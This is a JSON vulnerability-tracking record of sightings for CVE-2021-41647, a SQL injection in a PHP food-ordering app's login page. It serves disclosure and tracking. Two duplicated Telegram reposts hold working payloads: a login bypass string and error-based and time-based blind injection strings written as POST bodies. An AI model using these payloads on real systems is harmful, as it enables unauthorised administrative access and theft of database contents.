{"vulnerability": "CVE-2021-41647", "sightings": [{"uuid": "a8946398-a495-4dcf-91fb-2532176f8982", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41647", "type": "published-proof-of-concept", "source": "Telegram/aa4pIPHGtx6T3O2iYmxBiwlHPWgnwako2S8FuDREXOT21w", "content": "", "creation_timestamp": "2021-10-04T23:40:37.000000Z"}, {"uuid": "f0c029fc-20eb-442b-b08e-ce059180bb34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41647", "type": "seen", "source": "https://t.me/cibsecurity/29808", "content": "\u203c CVE-2021-41647 \u203c\n\nAn un-authenticated error-based and time-based blind SQL injection vulnerability exists in Kaushik Jadhav Online Food Ordering Web App 1.0. An attacker can exploit the vulnerable \"username\" parameter in login.php and retrieve sensitive database information, as well as add an administrative user.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-10-01T18:15:21.000000Z"}, {"uuid": "70076265-93a0-4bb1-a2c9-bfbcef1af759", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41647", "type": "seen", "source": "https://t.me/hacking_Attack/26501", "content": "Exploit Collector\nOnline-Food-Ordering-Web-App SQL Injection\n\nhttps://1.bp.blogspot.com/-HlvbbOwsdTc/WWlvV_wSsQI/AAAAAAAAIOA/psrlTyexNtUDdre2JEY7YvqsGP1V8LJKQCLcBGAs/s1600/h47.png \nOnline-Food-Ordering-Web-App suffers from a remote SQL injection vulnerability that allows for authentication bypass.\n\nMD5 | 2e3935af30a88b048926ba5e206dad5a\n\nDownload\nCVE-2021-41647 SQL Injection in Online-Food-Ordering-Web-App\n\nThe Online-Food-Ordering-Web-App is vulnerable to un-authenticated error and time-based blind SQL Injection attacks. The username parameter on the /login.php page does not sanitize the user input, an attacker is able to bypass the login using a simple bypass technique.\nLink To Application\n\nOnline-Food-Ordering-Web-App\nAffected Components & Parameter\n\nURL: /login.php\nPARAMETER: username\nPOC'S\nLOGIN BYPASS PAYLOAD\n\nTo bypass the user login and gain full administrative access, payload in the username input field: user' or 1=1-- -\nSQLMAP PAYLOADS\n\nParameter: username (POST Request) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)\nPayload: username=test'||(SELECT 0x6d65686d WHERE 8694=8694 AND (SELECT 8639 FROM(SELECT COUNT(*),CONCAT(0x71626a7a71,(SELECT (ELT(8639=8639,1))),0x71766a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'&password=asdfasdrf\n\nType: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\nPayload: username=test'||(SELECT 0x6d6d6367 WHERE 7580=7580 AND (SELECT 4416 FROM (SELECT(SLEEP(5)))nUhT))||'&password=asdfasdrf\nDiscovered by\n\nJason Colyvas\nMOBIUSBINARY\nSeptember 20th, 2021\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:18.535684Z"}, {"uuid": "6c3f4534-0a41-4e2e-b2a1-63da87f48ec6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41647", "type": "seen", "source": "https://t.me/hacking_Attack/26501", "content": "Exploit Collector\nOnline-Food-Ordering-Web-App SQL Injection\n\nhttps://1.bp.blogspot.com/-HlvbbOwsdTc/WWlvV_wSsQI/AAAAAAAAIOA/psrlTyexNtUDdre2JEY7YvqsGP1V8LJKQCLcBGAs/s1600/h47.png \nOnline-Food-Ordering-Web-App suffers from a remote SQL injection vulnerability that allows for authentication bypass.\n\nMD5 | 2e3935af30a88b048926ba5e206dad5a\n\nDownload\nCVE-2021-41647 SQL Injection in Online-Food-Ordering-Web-App\n\nThe Online-Food-Ordering-Web-App is vulnerable to un-authenticated error and time-based blind SQL Injection attacks. The username parameter on the /login.php page does not sanitize the user input, an attacker is able to bypass the login using a simple bypass technique.\nLink To Application\n\nOnline-Food-Ordering-Web-App\nAffected Components & Parameter\n\nURL: /login.php\nPARAMETER: username\nPOC'S\nLOGIN BYPASS PAYLOAD\n\nTo bypass the user login and gain full administrative access, payload in the username input field: user' or 1=1-- -\nSQLMAP PAYLOADS\n\nParameter: username (POST Request) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)\nPayload: username=test'||(SELECT 0x6d65686d WHERE 8694=8694 AND (SELECT 8639 FROM(SELECT COUNT(*),CONCAT(0x71626a7a71,(SELECT (ELT(8639=8639,1))),0x71766a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'&password=asdfasdrf\n\nType: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\nPayload: username=test'||(SELECT 0x6d6d6367 WHERE 7580=7580 AND (SELECT 4416 FROM (SELECT(SLEEP(5)))nUhT))||'&password=asdfasdrf\nDiscovered by\n\nJason Colyvas\nMOBIUSBINARY\nSeptember 20th, 2021\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:46.493462Z"}]}